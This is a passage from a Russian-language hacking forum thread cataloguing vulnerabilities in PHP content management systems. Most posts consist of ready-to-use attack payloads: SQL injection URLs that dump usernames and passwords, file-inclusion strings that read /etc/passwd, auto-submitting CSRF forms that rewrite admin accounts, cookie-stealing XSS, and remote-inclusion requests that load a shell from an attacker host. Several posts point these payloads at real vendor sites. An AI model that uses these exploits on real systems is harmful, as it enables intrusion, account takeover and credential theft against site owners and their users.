Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    //Вдогонку к #391
    [size=+1]ecoCMS[/size]
    Site: www.ecocms.com
    Vulnerability: XSS
    Severity: Low
    Needs: -
    Exploit: /admin.php?p=%3Cscript%3Ealert()%3C/script%3E
    Reason: get-параметр p в admin.php недостаточно фильтруется. Код приводить смысла не вижу)
     
    _________________________
  2. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    [size=+1]DynPage[/size]
    Site: www.dynpage.net
    Vulnerability: Arbitrary files content disclosing
    Severity: High
    Needs: -
    Exploit: /content/dynpage_load.php?file=/etc/passwd
    Reason: Файл /content/dynpage_load.php не защищён от прямого просмотра. То есть в других местах, где собственно идёт вывод контента с помощью этого скрипта есть какая-то фильтрация, а здесь без никаких ограничений имеем читалку.
    Уязвимый код /content/dynpage_load.php:
    PHP:
    ...
    $filename $_GET["file"]; 
    if (!
    is_dir ($filename) && file_exists ($filename)) { 
      
     
    $bytes filesize ($filename); 
     
    $fh fopen($filename'r'); 
     print (
    fread ($fh$bytes)); 
     
    fclose ($fh); 
     

    else 
     print (
    "DynPage file not found: ".htmlspecialchars ($filename)."");
     
    ?>
    Example: на официальном сайте: http://www.dynpage.net/dynpage/content/dynpage_load.php?file=/etc/passwd
     
    _________________________
    #382 shell_c0de, 6 May 2010
    Last edited: 6 May 2010
    6 people like this.
  3. winlogon.exe

    winlogon.exe Active Member

    Joined:
    5 Jun 2009
    Messages:
    31
    Likes Received:
    129
    Reputations:
    13
    [size=+1]Rezervi 3.0.2[/size]
    Произвольный PHP сценарий
    Code:
    /include/mail.inc.php?root=[file]
    download: http://www.rezervi.com/downloads/rezervi3_0_2.zip
     
    6 people like this.
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Social Engine v 3.18

    Активная XSS:

    /profile.php?user=victim
    Переходим на вкладку Comments.
    /profile.php?user=victim

    Переходим на вкладку Comments.

    Активная XSS:

    /user_editprofile_style.php

    HTML:
    body{
    
    background-image: url('javascript:alert()');
    
    }
    
    CSRF:

    HTML:
    
    <div style='display:none'>
    <form action='http://localhost/se/admin/admin_viewusers_edit.php' method='post' name='xeker'>
    <input type='text' class='text' name='user_email' value='[email protected]' size='30' maxlength='70'>
    <input type='text' class='text' name='user_username' value='Ctacok' size='30' maxlength='50'>
    <input type='password' class='text' name='user_password' value='' size='30' maxlength='50'>
    <select class='text' name='user_enabled'><option value='0'>Disabled</option>
    <select class='text' name='user_level_id'><option value='1' SELECTED>Default Level</option>
    <select class='text' name='user_profilecat_id'><option value='1' SELECTED>Standard Users</option>
    <input type='text' class='text' name='user_invitesleft' value='5' maxlength='3' size='2'>
    <input type='submit' class='button' value='Save Changes'>
    <input type='hidden' name='task' value='edituser'>
    <input type='hidden' name='user_id' value='1'>
    <input type='hidden' name='s' value='id'>
    <input type='hidden' name='p' value='1'>
    <input type='hidden' name='f_user' value=''>
    <input type='hidden' name='f_email' value=''><input type='hidden' name='f_level' value=''>
    <input type='hidden' name='f_subnet' value=''>
    <input type='hidden' name='f_enabled' value=''>
    </form>
    </div>
    
    <script language="JavaScript" type="text/javascript"> 
    document.xeker.submit(); 
    </script>
    
     
    #384 Ctacok, 9 May 2010
    Last edited: 14 Jun 2010
    2 people like this.
  5. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,155
    Likes Received:
    617
    Reputations:
    690
    PhpMySport

    [size=+1]PhpMySport[/size]
    Site: phpmysport.sourceforge.net
    Vulnerability: Local Files Include
    Severity: High
    Needs: magic_quotes=Off (or null-byte alternative)
    Exploit: /index.php?lg=/../../../../../../../../../etc/passwd%00
    Reason: В index.php есть строчки:
    PHP:
    ... 
    /************************/ 
    /* LANGUAGE MANAGEMENT  */ 
    /************************/ 
    if(!@include_once(create_path("include/lg_general_".LANG.".php"))) 

     echo 
    "ERREUR : Language not supported/Langue non supportИe"
     exit(); 

    ...
    Константа LANG определяется в config.php и изначально берётся из get-параметра lg. Таким образом, мы можем написать слеш /, тем самым закрыв директорию, затем подняться вверх, расширение отрезать нулл-байтом.
    Если не удаётся заинклудить, вылезает ошибка "ERREUR : Language not supported/Langue non supportИe". Вывод php-ошибок отключён.
    Example: На официальном сайте http://phpmysport.sourceforge.net/demo/index.php?lg=/../../../../../../../../../etc/passwd%00&skin=defaut
     
    _________________________
    #385 shell_c0de, 12 May 2010
    Last edited: 12 May 2010
    6 people like this.
  6. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Strawberry 1.1.1 (Он же когда-то CuteNews)
    Пассивная XSS:
    Arctic Fox CMS v0.9.4

    SQL Inj
     
    #386 Ctacok, 16 May 2010
    Last edited: 15 Jun 2010
    2 people like this.
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    WebAsyst

    Dork: - inurl:index.php?ukey=news&blog_id=

    Exploit: - http://site.com/index.php?ukey=news&blog_id=(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+SC_news_table+group+by+2+limit+1)a)--+

    4.1<=MySql=>5
     
    2 people like this.
  8. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Программа: razorCMS 1.x

    Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных в параметре "content" сценарием admin/index.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

    Эксплоит:

    Code:
    <form action="http://example.com/admin/?action=edit&slab=home" method="post" name="main" >
    <input type="hidden" name="title" value="Home" />
    <input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' />
    <input type="hidden" name="ptitle" value="" />
    <input type="hidden" name="theme" value="theme-default" />
    <input type="hidden" name="check_sidebar" value="sidebar" />
    <input type="hidden" name="save" value="Save Content" />
    </form>
    <script>
    document.main.submit();
    </script>
     
  9. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    Globber 1.4 PHP Code Execution

    Globber 1.4
    Site: https://launchpad.net/globber

    PHP Code Execution

    Vuln file:
    /include/admin/edit.inc.php
    PHP:
    if(!$_EXEC){ die; }
    if(
    $_POST){
      foreach(
    $_POST as $key => $val){
        
    $f .= '['.$key.']'.stripslashes($val).'[/'.$key.']'."\n";
      }
      if(
    $_GET['c']==''){
        
    $_GET['c'] = 'misc';
      }
      if(!
    is_dir('blog/'.$_GET['c'])){
        
    mkdir('blog/'.$_GET['c']);
      }
      
    file_put_contents('blog/'.$_GET['c'].'/'.$_GET['a'], $f);
    /*...*/
    Need: register_globals = On
    Exploit:
    Code:
    POST http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/include/admin/edit.inc.php?c=../../admin&a=rebuild.inc.php HTTP/1.0
    Content-type: application/x-www-form-urlencoded
    
    _EXEC=[COLOR=White]<?php phpinfo();?>[/COLOR]
    В результате файл rebuild.inc.php перезапишется, и будет иметь содержимое:
    Code:
    [_EXEC]<?php phpinfo();?>[/_EXEC]
    По адресу http://[host]/[path]/include/admin/rebuild.inc.php, любуемся phpinfo
     
    4 people like this.
  10. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    LiveStreet 2
    XSS активная:
    в поле, для комментария, к просьбе добавить в друзья, вставляем:
    Code:
    "><script>alert();</script>
    .
    При просмотре сообщения пользователем, код выполнится.
    ====================================
    XSS активная:
    добавляем новую запись, и в поле для меток, вставляем:
    Code:
    "><script>alert();</script>
    .
    Когда другой пользователь, будет выбирать метки для своего сообщения, код выполнится
     
    #390 Bb0y, 2 Jun 2010
    Last edited: 4 Jun 2010
  11. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    NibbleBlog 2.0 Remote File Inclusion

    NibbleBlog 2.0
    Site: http://www.nibbleblog.com

    Remote File Inclusion

    Vuln file: /admin/includes/index_login.php
    PHP:
        if($var_url['exe']=='login')
        {
                
    $var_form['login_user'] = (string) $_POST['form_field_user'];
                
    $var_form['login_password'] = (string) $_POST['form_field_password'];

                if( !empty(
    $var_form['login_user']) && !empty($var_form['login_password']) )
                {
                    include(
    $_PATH['shadow.php']);
    /*...*/
    Подобная уязвимость в /admin/includes/profile.php
    Need: register_globals = On
    Exploit:
    Code:
    POST http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/admin/includes/index_login.php HTTP/1.0
    Content-type: application/x-www-form-urlencoded
    
    var_url[exe]=login&form_field_user=1&form_field_password=1&_PATH[shadow.php]=[COLOR=White]http://[evil_host]/shell.wtf[/COLOR]
     
    1 person likes this.
  12. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    E2 SELECTA
    Site: http://blogengine.ru/

    Local File Include(0-day :) ):

    ./spesta/counter.php

    Уязвимый код:

    PHP:
     ...
     if (!isset (
    $s_addurl))
     {
      
    $z=dirname(__FILE__);
      
    $z2=$_SERVER['DOCUMENT_ROOT'].dirname ($_SERVER['PHP_SELF']);
      
    $s_addurl=substr ($zstrpos ($z$z2)+strlen($z2));
      if (
    $s_addurl!=""$s_addurl.="/";
     }
     else [
    COLOR=DarkRed]$s_addurl=str_replace (":",""$s_addurl);[/COLOR]

     include (
    $s_addurl."func.php");
     ...

    Exploit:

    Как видно из нашей переменной вырезается двоеточие, поэтому теоретически имеем только локальный инклуд, однако нам на руку то, что движок ведёт своеобразный журнал по адресу ./spesta/data/, в частности в файл requests.php записывается запрошенный URL, и ничто не мешает указать в нём например <?php phpinfo();?>, поэтому сначала обращаемся к какой-нибудь страницe добавив к URL-адресу наш php-код, а затем инклудим вот так:

    Code:
    ./spesta/counter.php?s_addurl=data/request.txt%00
    Также можно внести код в agents.txt(логируются юзерагенты).​

    Примечание:

    для этой уязвимости не играет роли значение register_globals, так как в .htacess эта настройка взводится, однако на всякий случай я решил уведомить об этом.


    Содержимое .htacess:

    Code:
    RewriteEngine Off
    DirectoryIndex index.php
    Options -Indexes -MultiViews
    ErrorDocument 403 /stat/deny.php
    <IfModule mod_php4.c>
    php_flag display_errors off
    [COLOR=red]php_flag register_globals on[/COLOR]
    php_flag magic_quotes_gpc off
    php_flag magic_quotes_runtime off
    php_flag magic_quotes_sybase off
    php_flag zlib.output_compression on
    php_value output_buffering 0
    php_value session.use_trans_sid 0
    </IfModule>
    <IfModule mod_php5.c>
    php_flag display_errors off
    [COLOR=red]php_flag register_globals on[/COLOR]
    php_flag magic_quotes_gpc off
    php_flag magic_quotes_runtime off
    php_flag magic_quotes_sybase off
    php_flag zlib.output_compression on
    php_value output_buffering 0
    php_value session.use_trans_sid 0
    </IfModule>
    
     
    #392 _iks_, 7 Jun 2010
    Last edited: 13 Jun 2010
    3 people like this.
  13. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    KaRoman CMS
    http://sourceforge.net/projects/karoman/


    SQL-инъекция(mq == off):
    ./view_article.php?id=0'+union+select+1,concat(user,0x3a,pass),3,4,5,6,7,8+FROM+userlist--+


    PHP:
    ...

    if (isset(
    $_GET['id'])) {$id $_GET['id'];}

    $result mysql_query("SELECT * FROM articles WHERE id='$id'",$db); // Выбираем нужные таблицы

    ...


    SQL-иньекция(права администратора):
    ./admin/settings.php?id=100500+union+select+1,2,3,4,5,6


    PHP:
    ...

    if (isset(
    $_GET['id'])) {$id $_GET['id'];}

    $result mysql_query("SELECT title,id FROM settings");      

    ...

    SQL-иньекция(права администратора):
    ./admin/edit_art.php?id=100500+union+select+1,2,3,4,5,6,7,8

    PHP:
    ...

    if (isset(
    $_GET['id'])) {$id $_GET['id'];}

    $result mysql_query("SELECT * FROM articles WHERE id=$id");

    ...
     
    1 person likes this.
  14. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Ov3rLo1d[-]Invisible
    http://wowjp.net/forum/61-15808-1


    /admin/index.php
    PHP:
    ...

    if (!isset(
    $HTTP_POST_VARS["submitloginform"]) && (($HTTP_COOKIE_VARS['userlogged'] == "yes") || ($_SESSION['sessionlogin'] == "yes"))) {

    /* Sets $PHPSESSID to the PHPSESSID in the cookie */
    $PHPSESSID $HTTP_COOKIE_VARS['userid'];

    /* Set $mode to the thingy on the url */
    $mode $HTTP_GET_VARS['mode'];

    /* Removes the cookie before anything is displayed */
    if ($mode == "logout") {
        
    session_destroy();
        
    setcookie("userlogged"""time()-600);
        
    setcookie("userid"""time()-600);
    }

    ...
    Добавляем себе в куки userlogged = yes
    Code:
    http://shadow-server.ru/admin/
    
     
    #394 SeNaP, 14 Jun 2010
    Last edited: 14 Jun 2010
    2 people like this.
  15. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Puzzle Apps CMS 3.2
    site:www.puzzleapps.org

    File Disclosure

    file: filepresenter.loader.php

    PHP:
    if ($_GET["getfile"]) {
        
    $filename $_GET["filename"];
        if (! 
    $filename)
            
    $filename "file";
        
    header('Content-Disposition: attachment; filename="' $filename '"');
        
    header("Content-type: application/octetstream");
        
    header("Pragma: no-cache");
        
    header("Expires: 0");
        
        
    readfile($FILEROOT $_GET["getfile"], "r+");
        
        die();
    }
    result:
    Code:
    filepresenter.loader.php?getfile=../../[b][local_file][/b]&filename=wtf.txt
     
    2 people like this.
  16. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    KAN CMS 1.0 beta
    site: www.kancms.org

    SQL-Injection

    need: mq=off

    file: pages/sections.php
    PHP:
        include('site_selector.php'); 

        
    // next we'll include the section manager component to enable the template
        // easily pick information from database
        
    include('sections_manager.php');

        
    // next we need to load the specific theme / template index file
        // the $themeFolder variable is created in the site selector
        
    include( $themeFolder 'pages/sections.php');

    /***************************************************************************/

    //file: pages/site_selector.php

    if( !isset($_GET['siteid']) ) {
    //header("Location: ../pages/");
        
    $query "SELECT * FROM sites WHERE sitetype = 'main'";
        
    $rsSite mysql_query($query$config);
        
    $row_rsSite mysql_fetch_assoc($rsSite);

        
    $site_identifier $row_rsSite['SiteIdentifier'];
        
    mysql_free_result($rsSite);

        
    $_GET['siteid'] = $site_identifier;

    } else {
        
    $site_identifier $_GET['siteid'];
    }

    // find the site ID for the specified identifier    
    $query "SELECT * FROM sites WHERE SiteIdentifier = '$site_identifier'";
    $rsSite mysql_query($query$config);
    $row_rsSite mysql_fetch_assoc($rsSite);
    result:
    Code:
    /pages/sections.php?siteid=-kan'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+--+&mid=3&sid=6
    Также уязвим пареметр mid

    Code:
    /pages/sections.php?siteid=kan&mid=-1+union+select+1,2,3,4,5,6,7,8,9+--+&sid=6
    example:
    Code:
    http://www.kancms.org/pages/sections.php?siteid=kan&mid=-3+/*!union*/+select+1,2,3,4,5,6,7,8,9+--+&sid=6
    //мб нашел бы больше,но двиг,сцуко,не установился
    //Двойной запрос, можно шелл залить Ctacok
    // а так не залить что-ли, если требования mq=off? Jokester
    // Сори, шрифт маленький, незаметил Ctacok
     
    #396 .:[melkiy]:., 17 Jun 2010
    Last edited by a moderator: 18 Jun 2010
    2 people like this.
  17. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Moa Gallery v1.2.2 (Updated 2010-06-17)
    http://sourceforge.net/projects/moagallery/

    В скриптах выставлена защита
    PHP:
       if (isset($_REQUEST["CFG"]))
      {
        echo 
    "Hacking attempt.";
        die();
      }
    но в mod_main_funcs.php защита отсутствует

    sources/mod_main_funcs.php
    PHP:
     // mod_gallery_funcs.php - This is a collection of functions that interect with the database and a gallery.
      
    include_once($CFG["MOA_PATH"]."sources/_error_funcs.php");
      include_once(
    $CFG["MOA_PATH"]."sources/_db_funcs.php");
      include_once(
    $CFG["MOA_PATH"]."sources/mod_image_funcs.php");
    ...
    RFI or LFI
    rg=on
    http://localhost/Moa-1.2.2/sources/mod_main_funcs.php?CFG[MOA_PATH]=http://site.com/shell.txt%00

    В версиях ниже 1.2.1 скрипт отсутствует.
     
    5 people like this.
  18. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Zyke CMS 1.1
    site: www.zykecms.com

    Authorization bypass

    need: mq=off

    file: index.php
    PHP:
    if (isset($_POST['loginbt']))
    {

    if (
    $_POST['login'] != "" and $_POST['password'] != "")
    {

        if (
    check_login($_POST['login'], $_POST['password']) == true)
        {
                if (
    $_SESSION['function'] == 1)
                    
    header('Location: admin/');
                else
                    
    header('Location: ');
                
    $error_login "";
            }
            else
            {
                
    $error_login "wrong username/password <br />";    
            }
        }
    }


    ...................

        
    function 
    check_login($login$password)
    {
        
    $sql "SELECT * FROM users WHERE login='".$login."' AND password='".md5($password)."'";
        
    $result mysql_query($sql);
        
    $num mysql_num_rows($result);
        
    $data mysql_fetch_array($result);
        
        if (
    $num == 1)
        {
            
    session_start();
            
    $_SESSION['last_access']=time(); 
            
    $_SESSION['function']=$data['function'];
            
    $_SESSION['login']=$data['login'];
            
    $_SESSION['firstname']=$data['firstname'];
            
    $_SESSION['lastname']=$data['lastname'];
            
    $_SESSION['date']=$data['date'];
            
    $_SESSION['id']=$data['id'];
            return 
    true;
        } 
        else 
            return 
    false;
    }

    result:
    HTML:
    <form action="http://[host]/index.php" method="POST">
    <input type="hidden" name="loginbt" value="1">
    <input type="hidden" name="login" value=" ' or 1=1 #">
    <input type="hidden" name="password" value="asd">
    <input type="submit" value="xek">
    

    SQL-Injection

    need: mq=off

    file: index.php

    PHP:
    echo get_sidebar($_GET['id']) 

    ...................

    function 
    get_sidebar($id)
    {
        
    $sql mysql_query("SELECT * FROM content WHERE urlname = '".$id."'") or die(mysql_error());
        if(
    $id == '')
        {
            
    $sql mysql_query("SELECT * FROM content WHERE id = '1'") or die(mysql_error());
        }
        
    $data mysql_fetch_array($sql);
        return 
    $data['sidebar'];
    }
    result:

    Code:
    /index.php?p=content&id=-home'+union+select+1,2,concat_ws(0x3a,id,login,password),4,5,6,7+from+users--+

    LFI

    need: mq=off

    file: index.php :d

    PHP:
    if (isset($_GET['p']))

        if (
    is_file($_GET['p'].".php"))

            include (
    $_GET['p'].".php");
    result:

    Code:
    /index.php?p=../../[b][local_file][/b]%00&id=home

    //зачетная cms...
     
    6 people like this.
  19. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    PhpBpCms
    Download: http://sourceforge.net/projects/phpbpcms/
    Vuln: Local Files Include
    Need: magic_quotes_gpc = Off
    file: index.php
    PHP:
    //update of redirecting variables $_SESSION[redirect_1], [redirect_2]redirect_update();*/
     
    if(!$_GET['module'])
        
        include(
    'modules/'.$conf['default_module'].'.php');

     else 
        
        include(
    'modules/'.$_GET['module'].'.php');
    result:
    Code:
    /index.php?module=[b][local_file][/b]%00
     
    2 people like this.
  20. _iks_

    _iks_ Member

    Joined:
    21 Feb 2009
    Messages:
    60
    Likes Received:
    59
    Reputations:
    61
    Grayscale BandSite CMS Ver. 1.1.4
    Site: http://sourceforge.net/projects/bandsitecms/

    SQL-иньекция(-):

    Уязвимый файл:
    ./includes/content/interview_content.php

    PHP:
    $intid $_REQUEST['intid'];
        
        
    // define the query
        // if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry
        
    if(isset($intid)){
            
    $query "
                SELECT 
                    * 
                FROM 
                    interviews 
                WHERE 
                    rec_id=
    $intid";
        }
    Эксплуатация:
    ./interviews.php?intid=-2+union+select+1,2,^,^,5,6,^,8,9,10​

    SQL-иньекция(-):

    Уязвимый файл:
    ./includes/content/lyrics_content.php

    PHP:
    $sid $_REQUEST['sid'];
        
        
    // if the $sid variable is set, it means we're only after one song, so retrieve just that one
        
    if (isset($sid)){
            
    // define the query to get this song
            
    $query "
                SELECT 
                    * 
                FROM 
                    lyrics 
                WHERE 
                    rec_id=
    $sid 
                LIMIT 
                    1"
    ;
            
            
    // get the result
            
    $result mysql_query($query);

    Эксплуатация:

    /lyrics.php?sid=1+union+select+1,2,^,4,5,6,^,8,9​
     
    1 person likes this.